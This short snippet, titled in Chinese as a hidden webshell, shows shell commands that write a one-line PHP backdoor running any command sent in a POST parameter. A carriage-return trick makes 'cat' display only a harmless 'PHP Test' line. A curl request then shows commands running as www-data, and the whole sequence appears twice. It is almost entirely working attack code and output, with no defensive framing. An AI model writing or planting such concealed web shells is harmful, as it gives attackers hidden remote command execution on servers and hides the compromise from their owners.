隐藏Webshell
$ sudo echo -e "<?=\`\$_POST[1]\`?>\r<?='PHP Test';?>" > test.php
$ cat test.php
<?='PHP Test';?>
$ curl localhost/test.php -d 1=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
PHP Test
$ sudo echo -e "<?=\`\$_POST[1]\`?>\r<?='PHP Test';?>" > test.php
$ cat test.php
<?='PHP Test';?>
$ curl localhost/test.php -d 1=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
PHP Test